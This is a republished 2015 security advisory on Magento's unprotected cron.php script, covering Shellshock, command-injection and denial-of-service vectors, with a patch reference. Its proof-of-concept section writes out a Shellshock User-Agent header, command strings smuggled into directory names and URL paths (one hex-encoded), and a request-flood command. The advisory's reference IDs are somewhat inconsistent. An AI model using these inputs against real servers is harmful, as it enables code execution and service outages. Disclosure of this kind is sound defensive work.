eBay Magento CE 1.9.2.1 – Unrestricted Cron Script (Code Execution / Denial of Service)

  • 作者: Dawid Golunski
    日期: 2015-11-07
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  • 来源:https://www.exploit-db.com/exploits/38651/
  • # Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
    # Date: 06.11.2015
    # Exploit Author: Dawid Golunski
    # Vendor Homepage: http://magento.com
    # Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1
    # Tested on: Linux
    # Magento reference ID: APPSEC-1045
    
    
    
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    - Release date: 06.11.2015
    - Discovered by: Dawid Golunski
    - Severity: Medium
    - eBay Magento ref.: APPSEC-1037
    =============================================
    
     
    I. VULNERABILITY
    -------------------------
    
    eBay Magento CE <= 1.9.2.1Unrestricted Cron Script (Potential Code Execution / DoS)
    eBay Magento EE <= 1.14.2.1
    
     
    II. BACKGROUND
    -------------------------
    
    - eBay Magento eCommerce
    
    http://magento.com/
    
    "More than 240,000 merchants worldwide put their trust in our eCommerce 
    software. Magento's eCommerce platform gives you the tools you need to attract 
    more prospects, sell more products, and make more money. It's what we do.
    
    We're owned by eBay, so you know we're eCommerce experts"
    
     
    III. INTRODUCTION
    -------------------------
    
    Default installation of ebay Magento eCommerce software comes with a cron.php 
    which allows to manage scheduled tasks. The script is not protected by default 
    and can be publicly accessed.
    
    The publicly exposed cron script poses some potential risks such as exploitation 
    of the well known shellshock vulnerability on unpatched systems leading to code 
    execution. 
    The same script has another potential command execution vector that stems from 
    inproper data sanitisation passed to a shell_exec function.
    
    Apart from the code execution vectors, the script could potentially be used to
    perform a DoS attack due to lack of locking mechanism that prevents the script
    from spawning multiple instances of other helper shell scripts.
    
    
    IV. DESCRIPTION
    -------------------------
     
    A) Shellshock vector
    
    Magento cron.php script includes a command execution function that looks as
    follows:
    
    -----[ magento/cron.php ]-----
    
    ...
    
    try {
    if (stripos(PHP_OS, 'win') === false) {
    $options = getopt('m::');
    if (isset($options['m'])) {
    if ($options['m'] == 'always') {
    $cronMode = 'always';
    } elseif ($options['m'] == 'default') {
    $cronMode = 'default';
    } else {
    Mage::throwException('Unrecognized cron mode was defined');
    }
    
    } else if (!$isShellDisabled) {
    $fileName = basename(__FILE__);
    $baseDir = dirname(__FILE__);
    shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
    shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &");
    exit;
    }
    ...
    
    ------------------------------
    
    
    As can be seen, the script runs shell_exec() that loads /bin/sh program which
    is usually a symlink to /bin/bash.
    Although the shellshock vulnerability should be patched, there have been reports 
    of linux distributions that insufficiently patched the issue and remained
    vulnerable. 
    Magento's cron.php could be used as exploit the shellshock vulnerability on 
    unpatched systems which host Magento in CGI mode (which can be easily enabled 
    via .htaccess file provided with Magento).
    
    B) Command injection
    
    The script fails to sanitise the input data coming from $baseDir variable. 
    Input passed to shell execution functions should always be sanitised with 
    escapeshellcmd / escapeshellarg PHP functions. 
    
    Although not exploitable on its own, the lack of escaping could allow to inject 
    some system commands on Magento hosting platforms which have a feature to 
    create backups of directories with a specified name within the document root.
    
    If the provided hosting control panel allows to specify names of such backups,
    a user could potentially inject some malicious data within the directory name 
    which could result in a command injection when cron.php is run from the backup 
    directory.
    The command would execute upon the shell_exec() receiving the malicious data 
    injected with the help of the $baseDir variable.
    
    C) Denial of Service
    
    As the script lacks any access control and a locking mechanism, it is possible 
    to remotely request cron.php multiple times in order to make it spawn 
    multiple instances of the cron.sh script. 
    As a single execution of the script results in 2 cron.sh spawned processes, plus
    a separate CGI process (if website runs as CGI), an attacker could potentially
    overload the Magento site with multiple requests and create a Denial of Service 
    condition by process exhaustion etc.
    
     
    V. PROOF OF CONCEPT
    -------------------------
     
    A) Shellshock vector exploit
    
    Sending the following request to a CGI-enabled Magento site:
    
    GET /magento/cron.php HTTP/1.1
    Host: victim_magento_site
    User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack
    
    will result in a command execution on shellshock affected systems.
    The resul of the above would be:
    
    victim$ ls -l /tmp/magento_cron_hack 
    -rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack
    
    
    
    B) Command injection
    
    Due to lack of sanitisation, if a malicious Magento user had access
    to a backup facility, he could potenially create a backup of the magento 
    directory with a command within the name , e.g.: 
    
    $(id)
    
    The user could then request the cron.php script via the following request:
    
    GET /magento/$(id)/cron.php HTTP/1.1
    Host: victim_magento_site
    
    Because of the shell_exec() function in the quoted sourcecode of cron.php:
    
    ---
    $baseDir = dirname(__FILE__);
    shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
    ---
    
    it would cause the cron.php script to run the following command:
    
    /bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
    
    The command would run id program as soon as bash command expansion syntax of 
    $() got evaluated.
    
    
    An attacker could also run more complex commands, by hex encoding disallowed
    characters within directory names (such as '/' directory separator).
    
    For example, he could run the command: 
    
    touch /tmp/magento_exec
    
    
    by encoding it as follows:
    
    echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1}
    
    \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63
    
    He could then execute it via a GET request of:
    
    GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1
    
    which would execute:
    
    /bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 > /dev/null 2>&1 &
    
    resulting in creating the PoC file:
    
    victim$ ls -l /tmp/magento_exec 
    -rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec
    
    
    
    C) Denial of Service
    
    By sending multiple requests to cron.php, for example using apache benchmark
    tool:
    
    attacker$ ab -n 500 -c 30http://victim_magento_site/magento/cron.php
    
    attacker could exploit the lack of locking to spawn numerous processes,
    potentially leading to resource exhaustion and a DoS condition.
    
    The above command would result in creating multiple instances of the
    cron.php/cron.sh scripts on the target host:
    
    ...
    www-data55290.21.3 2877566872 ?Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
    www-data55310.21.1 2880005848 ?Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
    www-data55330.21.2 2880006432 ?Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55350.31.2 2880006484 ?Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55370.31.5 2887687740 ?Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55390.31.3 2875246956 ?Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55410.31.4 2887687168 ?Dl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55430.31.4 2882887188 ?Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data55460.31.4 2885127188 ?Rl 10:02 0:00 /usr/bin/php /var/www/magento/cron.php -malways
    www-data58850.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58860.00.017880 456 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58870.00.017880 456 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58880.00.017880 440 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58890.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58900.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58910.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data58990.00.017880 496 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data59000.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data59010.00.017880 496 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
    www-data59040.00.017880 500 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data59070.00.017880 496 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
    www-data59090.00.017880 500 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
    www-data59100.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
    www-data59120.00.017880 464 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    www-data59130.00.017880 460 ?S10:03 0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
    ...
    
    VI. BUSINESS IMPACT
    -------------------------
    
    The issue has been rated as medium. Depending on the Magento hosting features
    and applied patches code execution could be possible which would increase the 
    risks.
     
    VII. SYSTEMS AFFECTED
    -------------------------
    
    The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain
    the vulnerable cron.php script.
    The Magento EE versions also contain this problem according to the vendor's
    advisory.
    
    VIII. SOLUTION
    -------------------------
    
    eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch
    for it within the SUPEE-6788 patch bundle available on the official website.
    The patch adds sanitisation functions around the shell_exec() code however
    the cron script remains publicly accessible.
    
    It is recommended to protect the cron script by other means.
    For example, the script could require a key supplied together with a GET
    request to proceed with the execution which is commonly used with other
    major open source solutions.
    The easiest way would also be restricting acess to the script to only
    certain IPs or localhost within the web server configuration.
    
     
    IX. REFERENCES
    -------------------------
    
    http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt
    
    Oficial eBay Magento website:
    http://magento.com/
    
    Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML 
    Functionality Using Multibyte Payloads' (APPSEC-1037) is available at:
     
    https://magento.com/security/patches/supee-6788
    
    
    X. CREDITS
    -------------------------
    
    The vulnerabilities have been discovered by Dawid Golunski
    dawid (at) legalhackers (dot) com
    legalhackers.com
     
    XI. REVISION HISTORY
    -------------------------
    
    Nov 6th, 2015:Advisory released
     
    XII. LEGAL NOTICES
    -------------------------
    
    The information contained within this advisory is supplied "as-is" with
    no warranties or guarantees of fitness of use or otherwise. I accept no
    responsibility for any damage caused by the use or misuse of this information.